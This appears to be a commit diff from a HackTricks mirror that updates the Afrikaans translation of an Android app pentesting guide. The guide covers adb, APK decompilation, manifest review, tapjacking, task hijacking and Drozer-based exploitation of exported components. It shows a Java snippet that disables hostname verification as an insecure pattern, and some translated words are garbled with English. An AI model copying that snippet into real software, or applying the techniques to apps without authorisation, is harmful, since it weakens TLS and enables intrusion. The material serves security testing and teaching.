mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's
This commit is contained in:
parent
56d8e2f518
commit
05aeff1b8c
@ -348,6 +348,7 @@
|
||||
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
||||
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
|
||||
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
|
||||
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
|
||||
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
|
||||
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
|
||||
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Android Toepassings Basiese Beginsels
|
||||
|
||||
Dit word sterk aanbeveel om hierdie bladsy te begin lees om te weet van die **belangrikste dele wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing**:
|
||||
Dit word sterk aanbeveel om hierdie bladsy te begin lees om te weet oor die **belangrikste dele wat verband hou met Android-sekuriteit en die gevaarlikste komponente in 'n Android-toepassing**:
|
||||
|
||||
{{#ref}}
|
||||
android-applications-basics.md
|
||||
@ -13,18 +13,18 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Dit is die hoofgereedskap wat jy nodig het om met 'n android toestel (geëmuleer of fisies) te verbind.\
|
||||
**ADB** laat jou toe om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nutsgereedskap stel die **kopieer** van lêers in beide rigtings, **installasie** en **verwydering** van toepassings, **uitvoering** van skulpopdragte, **rugsteun** van data, **lees** van logs, onder andere funksies, moontlik.
|
||||
**ADB** laat jou toe om toestelle te beheer, hetsy oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut kan die **kopieer** van lêers in beide rigtings, **installasie** en **verwydering** van toepassings, **uitvoering** van skulpopdragte, **rugsteun** van data, **lees** van logs, onder andere funksies, moontlik maak.
|
||||
|
||||
Kyk na die volgende lys van [**ADB Opdragte**](adb-commands.md) om te leer hoe om adb te gebruik.
|
||||
|
||||
## Smali
|
||||
|
||||
Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te kompileren.\
|
||||
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit te kompileren](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
|
||||
Soms is dit interessant om die **toepassingkode** te **wysig** om toegang te verkry tot **verborge inligting** (miskien goed obfuskeerde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompileer, die kode te wysig en dit weer te compileer.\
|
||||
[**In hierdie tutoriaal** kan jy **leer hoe om 'n APK te dekompileer, Smali-kode te wysig en die APK** met die nuwe funksionaliteit te compileer](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat gaan aangebied word. Dan, **hou altyd hierdie moontlikheid in gedagte**.
|
||||
|
||||
## Ander interessante truuks
|
||||
|
||||
- [Spoofing jou ligging in Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Spoofing jou ligging in die Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-gebaseerde nie-root bevoorregte toegang)](shizuku-privileged-api.md)
|
||||
- [Eksploitering van Onveilige In-App Opdateringsmeganismes](insecure-in-app-update-rce.md)
|
||||
- **Laai APK's af**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
@ -38,7 +38,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
- Kombineer alle splits en basis apks met [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
- Voeg alle splits en basis apks saam met [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
|
||||
@ -47,6 +47,12 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## Gevalstudies & Kw vulnerabilities
|
||||
|
||||
{{#ref}}
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
## Statiese Analise
|
||||
|
||||
Eerstens, om 'n APK te analiseer, moet jy **na die Java-kode kyk** met behulp van 'n decompiler.\
|
||||
@ -54,32 +60,32 @@ Asseblief, [**lees hier om inligting oor verskillende beskikbare decompilers te
|
||||
|
||||
### Soek na interessante Inligting
|
||||
|
||||
Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **URL's** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** sleutels, **versleuteling**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir kode-uitvoering **backdoors** of verifikasie backdoors (hardcoded admin akrediteer in die app).
|
||||
Net deur na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **URL's** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** sleutels, **versleuteling**, **bluetooth uuids**, **tokens** en enigiets interessant... kyk selfs vir kode-uitvoering **backdoors** of verifikasie backdoors (hardcoded admin akrediteer aan die app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. [Meer inligting oor wat Firebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Gee spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer is. [Meer inligting oor wat FIrebase is en hoe om dit te benut hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Basiese begrip van die toepassing - Manifest.xml, strings.xml
|
||||
|
||||
Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskwesies onthul**. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêernaamuitbreiding na .zip te hernoem en dit dan uit te pak.
|
||||
Die **ondersoek van 'n toepassing se _Manifest.xml_ en **_strings.xml_** lêers kan potensiële sekuriteitskw vulnerabilities onthul**. Hierdie lêers kan toegang verkry word met behulp van decompilers of deur die APK-lêer uitbreiding na .zip te hernoem en dit dan uit te pak.
|
||||
|
||||
**Kwessies** wat in die **Manifest.xml** geïdentifiseer is, sluit in:
|
||||
**Kw vulnerabilities** geïdentifiseer uit die **Manifest.xml** sluit in:
|
||||
|
||||
- **Debugbare Toepassings**: Toepassings wat as debugbaar (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko in omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debugbare toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debugbare toepassings op 'n toestel.
|
||||
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde data-back-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
|
||||
- **Netwerk Sekuriteit**: Aangepaste netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
|
||||
- **Debuggable Toepassings**: Toepassings wat as debuggable (`debuggable="true"`) in die _Manifest.xml_ lêer gestel is, stel 'n risiko in omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir verdere begrip oor hoe om debuggable toepassings te benut, verwys na 'n tutoriaal oor die vind en benutting van debuggable toepassings op 'n toestel.
|
||||
- **Back-up Instellings**: Die `android:allowBackup="false"` attribuut moet eksplisiet gestel word vir toepassings wat met sensitiewe inligting werk om ongeoorloofde databack-ups via adb te voorkom, veral wanneer usb-debugging geaktiveer is.
|
||||
- **Netwerk Sekuriteit**: Pasgemaakte netwerk sekuriteit konfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaat pins en HTTP-verkeer instellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
|
||||
- **Gedeelde Aktiwiteite en Dienste**: Die identifisering van gedeelde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut.
|
||||
- **Inhoud Verskaffers en LêerVerskaffers**: Blootgestelde inhoud verskaffers kan ongeoorloofde toegang of wysiging van data toelaat. Die konfigurasie van LêerVerskaffers moet ook ondersoek word.
|
||||
- **Uitsaai Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL skemas bestuur word vir invoer kwesbaarhede.
|
||||
- **Uitsending Ontvangers en URL Skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesifieke aandag aan hoe URL skemas bestuur word vir invoer kw vulnerabilities.
|
||||
- **SDK Weergawes**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` attribuut dui die ondersteunde Android weergawes aan, wat die belangrikheid beklemtoon om nie verouderde, kwesbare Android weergawes vir sekuriteitsredes te ondersteun nie.
|
||||
|
||||
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, aangepaste skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
|
||||
Uit die **strings.xml** lêer kan sensitiewe inligting soos API sleutels, pasgemaakte skemas, en ander ontwikkelaar notas ontdek word, wat die behoefte aan sorgvuldige hersiening van hierdie hulpbronne beklemtoon.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** gelanseer word en **homself bo-op 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
|
||||
In werklikheid, dit is **blindings die gebruiker van die kennis dat hulle eintlik aksies op die slagoffer app uitvoer**.
|
||||
**Tapjacking** is 'n aanval waar 'n **kwaadwillige** **toepassing** gelanseer word en **homself bo 'n slagoffer toepassing posisioneer**. Sodra dit die slagoffer app sigbaar obscuur, is sy gebruikerskoppelvlak ontwerp om die gebruiker te mislei om met dit te interaksie, terwyl dit die interaksie aan die slagoffer app oorgedra.\
|
||||
In werklikheid, dit is **blindings die gebruiker van weet dat hulle eintlik aksies op die slagoffer app uitvoer**.
|
||||
|
||||
Vind meer inligting in:
|
||||
|
||||
@ -91,7 +97,7 @@ tapjacking.md
|
||||
|
||||
'n **aktiwiteit** met die **`launchMode`** gestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is kwesbaar vir taak Hijacking. Dit beteken dat 'n **toepassing** geïnstalleer kan word en as dit voor die werklike toepassing gelanseer word, kan dit **die taak van die werklike toepassing oorneem** (sodat die gebruiker met die **kwaadwillige toepassing interaksie het terwyl hy dink hy gebruik die werklike een**).
|
||||
|
||||
Meer inligting in:
|
||||
Meer info in:
|
||||
|
||||
{{#ref}}
|
||||
android-task-hijacking.md
|
||||
@ -101,10 +107,10 @@ android-task-hijacking.md
|
||||
|
||||
**Interne Stoor**
|
||||
|
||||
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat hulle **gecreëer** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toestaan** dat lêers tussen verskillende toepassings **gedeel** word. Tog, hierdie modi **beperk nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
|
||||
In Android, lêers **gestoor** in **interne** stoor is **ontwerp** om **uitsluitend** deur die **app** wat hulle **gecreëer** het, **toeganklik** te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste toepassings. Tog gebruik ontwikkelaars soms modi soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om **toestaan** dat lêers tussen verskillende toepassings **gedeel** word. Tog **beperk** hierdie modi **nie toegang** tot hierdie lêers deur ander toepassings nie, insluitend potensieel kwaadwillige.
|
||||
|
||||
1. **Statiese Analise:**
|
||||
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel lêers blootstel** aan **onbedoelde of ongeoorloofde toegang**.
|
||||
- **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **versigtig ondersoek** word. Hierdie modi **kan potensieel lêers blootstel aan** **onbedoelde of ongeoorloofde toegang**.
|
||||
2. **Dinamiese Analise:**
|
||||
- **Verifieer** die **toestemmings** wat op lêers wat deur die app geskep is, gestel is. Spesifiek, **kyk** of enige lêers **gestel is om wêreldwyd leesbaar of skryfbaar te wees**. Dit kan 'n beduidende sekuriteitsrisiko inhou, aangesien dit **enige toepassing** wat op die toestel geïnstalleer is, ongeag sy oorsprong of bedoeling, toelaat om **hierdie lêers te lees of te wysig**.
|
||||
|
||||
@ -114,13 +120,13 @@ Wanneer jy met lêers op **eksterne stoor** werk, soos SD Kaart, moet sekere voo
|
||||
|
||||
1. **Toeganklikheid**:
|
||||
- Lêers op eksterne stoor is **globaal leesbaar en skryfbaar**. Dit beteken enige toepassing of gebruiker kan toegang tot hierdie lêers verkry.
|
||||
2. **Sekuriteitskwessies**:
|
||||
- Gegewe die maklike toegang, word dit aanbeveel **om nie sensitiewe inligting** op eksterne stoor te stoor nie.
|
||||
- Eksterne stoor kan verwyder of deur enige toepassing toeganklik gemaak word, wat dit minder veilig maak.
|
||||
2. **Sekuriteitskwesties**:
|
||||
- Gegewe die maklike toegang, word dit aanbeveel **om sensitiewe inligting nie op eksterne stoor te stoor nie**.
|
||||
- Eksterne stoor kan verwyder of deur enige toepassing toegang verkry, wat dit minder veilig maak.
|
||||
3. **Hantering van Data van Eksterne Stoor**:
|
||||
- Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron kom.
|
||||
- Dit word sterk ontmoedig om uitvoerbare lêers of klas lêers op eksterne stoor vir dinamiese laai te stoor.
|
||||
- As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is noodsaaklik om die sekuriteitsintegriteit van jou toepassing te handhaaf.
|
||||
- Voer altyd **invoer validasie** uit op data wat van eksterne stoor verkry is. Dit is van kardinale belang omdat die data van 'n onbetroubare bron is.
|
||||
- Dit word sterk ontmoedig om uitvoerbare of klas lêers op eksterne stoor vir dinamiese laai te stoor.
|
||||
- As jou toepassing uitvoerbare lêers van eksterne stoor moet verkry, verseker dat hierdie lêers **onderteken en kriptografies geverifieer** is voordat hulle dinamies gelaai word. Hierdie stap is van kardinale belang om die sekuriteitsintegriteit van jou toepassing te handhaaf.
|
||||
|
||||
Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
@ -136,7 +142,7 @@ Eksterne stoor kan **toegang verkry** in `/storage/emulated/0`, `/sdcard`, `/mnt
|
||||
|
||||
**Aanvaar Alle Sertifikate**
|
||||
|
||||
Vir een of ander rede aanvaar ontwikkelaars soms al die sertifikate, selfs al stem die hostname nie ooreen met lyne kode soos die volgende nie:
|
||||
Om een of ander rede aanvaar ontwikkelaars soms al die sertifikate selfs al stem die gasheernaam nie ooreen met lyne kode soos die volgende nie:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -183,15 +189,15 @@ Volgens hierdie [**blogpos**](https://clearbluejar.github.io/posts/desuperpackin
|
||||
|
||||
### Geoutomatiseerde Statiese Kode Analise
|
||||
|
||||
Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat die hulpmiddel aandui waar die **invoer** deur die **gebruiker** **beheer** word), **sinkholes** (wat die hulpmiddel aandui van **gevaarlike** **plekke** waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinkholes** aan wat 'n kwesbaarheid aandui.
|
||||
Die hulpmiddel [**mariana-trench**](https://github.com/facebook/mariana-trench) is in staat om **kwesbaarhede** te vind deur die **kode** van die toepassing te **skandeer**. Hierdie hulpmiddel bevat 'n reeks **bekende bronne** (wat aan die hulpmiddel die **plekke** aandui waar die **invoer** deur die gebruiker **beheer** word), **sinkholes** (wat aan die hulpmiddel **gevaarlike** **plekke** aandui waar kwaadwillige gebruikersinvoer skade kan aanrig) en **reëls**. Hierdie reëls dui die **kombinasie** van **bronne-sinkholes** aan wat 'n kwesbaarheid aandui.
|
||||
|
||||
Met hierdie kennis, **sal mariana-trench die kode hersien en moontlike kwesbaarhede daarin vind**.
|
||||
Met hierdie kennis sal **mariana-trench die kode hersien en moontlike kwesbaarhede daarin vind**.
|
||||
|
||||
### Geheime gelekt
|
||||
|
||||
'n Toepassing kan geheime (API-sleutels, wagwoorde, verborge URL's, subdomeine...) daarin bevat wat jy dalk kan ontdek. Jy kan 'n hulpmiddel soos [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gebruik.
|
||||
|
||||
### Bypass Biometriese Outorisering
|
||||
### Om Biometriese Outorisering te Omseil
|
||||
|
||||
{{#ref}}
|
||||
bypass-biometric-authentication-android.md
|
||||
@ -226,7 +232,7 @@ Jy kan selfs **die logs van jou toepassing** op die web sien en deur **adb** ver
|
||||
|
||||
.png>)
|
||||
|
||||
Danksy die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
|
||||
Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik.
|
||||
|
||||
### Plaaslike Dinamiese Analise
|
||||
|
||||
@ -239,7 +245,7 @@ Danksy die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators geb
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening skep. _Dit word aanbeveel om die weergawe **MET**_ _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Gratis weergawe:** Persoonlike Uitgawe, jy moet 'n rekening skep. _Dit word aanbeveel om die weergawe **MET** _**VirtualBox** te **aflaai** om potensiële foute te vermy._)
|
||||
- [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie).
|
||||
|
||||
> [!TIP]
|
||||
@ -249,7 +255,7 @@ Om **google dienste** (soos AppStore) in Genymotion te installeer, moet jy op di
|
||||
|
||||
.png>)
|
||||
|
||||
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die hulpmiddels gaan verbind).
|
||||
Let ook daarop dat jy in die **konfigurasie van die Android VM in Genymotion** **Bridge Network mode** kan kies (dit sal nuttig wees as jy aan die Android VM van 'n ander VM met die gereedskap gaan verbind).
|
||||
|
||||
#### Gebruik 'n fisiese toestel
|
||||
|
||||
@ -268,7 +274,7 @@ Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **r
|
||||
|
||||
**Logging**
|
||||
|
||||
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
|
||||
Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te stel, aangesien dit kan lei tot sensitiewe data lek. Die gereedskap [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid.
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat vanaf **later nuwer as Android 4.0**, **toepassings slegs toegang tot hul eie logs kan verkry**. So toepassings kan nie ander apps se logs toegang nie.\
|
||||
@ -276,31 +282,31 @@ Ontwikkelaars moet versigtig wees om **debugging inligting** publiek bloot te st
|
||||
|
||||
**Kopie/Plak Buffer Kaping**
|
||||
|
||||
Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in omdat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is belangrik om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
|
||||
Android se **clipboard-gebaseerde** raamwerk stel kopie-plak funksionaliteit in apps in, maar dit stel 'n risiko in dat **ander toepassings** die klembord kan **toegang** en moontlik sensitiewe data blootstel. Dit is van kardinale belang om **kopie/plak** funksies vir sensitiewe afdelings van 'n toepassing, soos kredietkaartbesonderhede, te deaktiveer om data lek te voorkom.
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om te log op crashes, en as logs oor die netwerk gestuur moet word, moet jy seker maak dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
|
||||
As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie omgekeerd kan word nie. Om hierdie risiko te verminder, moet jy vermy om logs op crashes te log, en as logs oor die netwerk oorgedra moet word, moet jy verseker dat dit via 'n SSL-kanaal vir sekuriteit gestuur word.
|
||||
|
||||
As pentester, **probeer om na hierdie logs te kyk**.
|
||||
|
||||
**Analise Data Gestuur Aan 3de Partye**
|
||||
**Analitiese Data Gestuur Aan 3de Partye**
|
||||
|
||||
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om **die toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word.
|
||||
Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk **sensitiewe data kan lek** as gevolg van onvanpaste implementering deur ontwikkelaars. Om potensiële data lek te identifiseer, is dit raadsaam om die **toepassing se verkeer te onderskep** en te kyk vir enige sensitiewe inligting wat aan derdeparty dienste gestuur word.
|
||||
|
||||
### SQLite DB's
|
||||
|
||||
Die meeste toepassings sal **interne SQLite databasisse** gebruik om inligting te stoor. Tydens die pentest, kyk na die **databasisse** wat geskep is, die name van **tabelle** en **kolomme** en al die **data** wat gestoor is, want jy kan **sensitiewe inligting** vind (wat 'n kwesbaarheid sou wees).\
|
||||
Databasisse moet geleë wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases`.
|
||||
Databasisse moet geleë wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
As die databasis vertroulike inligting stoor en is **geënkripteer** maar jy kan die **wagwoord** binne die toepassing vind, is dit steeds 'n **kwesbaarheid**.
|
||||
|
||||
Lys die tabelle met `.tables` en lys die kolomme van die tabelle met `.schema <table_name>`.
|
||||
Enumerate die tabelle met `.tables` en enumerate die kolomme van die tabelle met `.schema <table_name>`
|
||||
|
||||
### Drozer (Eksploiteer Aktiwiteite, Inhoud Verskaffers en Dienste)
|
||||
### Drozer (Eksploiteer Aktiwiteite, Inhoudverskaffers en Dienste)
|
||||
|
||||
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om **die rol van 'n Android-app aan te neem** en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\
|
||||
Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerde dienste en Inhoud Verskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer.
|
||||
Van [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die rol van 'n Android-app aan te neem en met ander apps te kommunikeer. Dit kan **enigiets doen wat 'n geïnstalleerde toepassing kan doen**, soos om gebruik te maak van Android se Inter-Process Communication (IPC) meganisme en met die onderliggende bedryfstelsel te kommunikeer.\
|
||||
Drozer is 'n nuttige hulpmiddel om **geëksporteerde aktiwiteite, geëksporteerde dienste en Inhoudverskaffers** te **eksploiteer** soos jy in die volgende afdelings sal leer.
|
||||
|
||||
### Eksploiteer geëksporteerde Aktiwiteite
|
||||
|
||||
@ -316,7 +322,7 @@ Wanneer 'n Aktiwiteit geëksporteer word, kan jy sy skerm van 'n eksterne app aa
|
||||
Jy kan ook 'n geëksporteerde aktiwiteit van adb begin:
|
||||
|
||||
- Pakketnaam is com.example.demo
|
||||
- Geëksporteerde Aktiwiteitnaam is com.example.test.MainActivity
|
||||
- Geëksporteerde AktiwiteitNaam is com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
@ -335,14 +341,14 @@ As tapjacking nie voorkom word nie, kan jy die geëksporteerde aktiwiteit misbru
|
||||
|
||||
### Exploiting Content Providers - Toegang tot en manipulasie van sensitiewe inligting
|
||||
|
||||
[**Lees dit as jy wil opfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
|
||||
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees.
|
||||
[**Lees dit as jy wil verfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\
|
||||
Inhoudverskaffers word basies gebruik om **data** te **deel**. As 'n app beskikbare inhoudverskaffers het, mag jy in staat wees om **sensitiewe** data daaruit te **onttrek**. Dit is ook interessant om moontlike **SQL-inspuitings** en **Path Traversals** te toets, aangesien hulle kwesbaar kan wees.
|
||||
|
||||
[**Leer hoe om Content Providers met Drozer te exploiteer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
|
||||
[**Lees dit as jy wil opfris wat 'n Service is.**](android-applications-basics.md#services)\
|
||||
[**Lees dit as jy wil verfris wat 'n Service is.**](android-applications-basics.md#services)\
|
||||
Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`.
|
||||
|
||||
Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en **teruggee** (of nie) 'n antwoord. As 'n toepassing sekere dienste eksporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, magtiging maatreëls te omseil...\
|
||||
@ -350,7 +356,7 @@ Aangesien 'n diens basies iets is wat **data kan ontvang**, dit **verwerk** en *
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
|
||||
[**Lees dit as jy wil opfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
|
||||
[**Lees dit as jy wil verfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`.
|
||||
|
||||
'n Uitzendingontvanger sal wag vir 'n tipe boodskap. Afhangende van hoe die ontvanger die boodskap hanteer, kan dit kwesbaar wees.\
|
||||
